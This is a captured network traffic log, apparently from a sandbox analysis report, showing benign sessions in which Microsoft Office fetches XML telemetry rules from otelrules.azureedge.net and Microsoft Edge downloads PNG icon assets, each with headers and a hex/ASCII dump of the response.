2024-11-17 02:42:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 93ee474a-d01e-0014-35af-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024237Z-1866b5c5fbb2cz68hC1DFW9ytc00000002rg000000009aan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024238Z-16547b76f7fwggrphC1DFW2a8s00000002gg00000000fsk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024238Z-1866b5c5fbb5hnj5hC1DFW18sc00000003xg000000004cua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49846	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: ae232eab-301e-004d-3cea-37aee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-164f84587bf7jb9dhC1DFWkay4000000038g00000000g3yc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49843	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-1866b5c5fbbqwvdshC1DFW095g00000000n000000000hvf2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49845	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fecfe7c6-501e-005d-5166-389803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-16547b76f7f2b5qzhC1DFWeag400000001ug00000000h36n Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49844	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 1bc5532a-c01e-003e-451d-37de26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-16547b76f7fk9g8vhC1DFW825400000004ag00000000q49q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49848	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 8c1ed240-601e-0033-6adf-37312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-16547b76f7fkz9l7hC1DFW35uc00000000vg000000000vm9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49847	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:38 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8254c623-901e-0069-7c1d-3737ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024238Z-16547b76f7fht2hfhC1DFWbngg000000041g00000000dsx3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49849	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 3ec875b9-801e-00ac-137b-37fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024238Z-164f84587bf9nk94hC1DFWerbg00000002mg00000000kkwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:38 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024238Z-164f84587bf9nk94hC1DFWerbg00000002s0000000005n4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49850	13.107.246.45	443

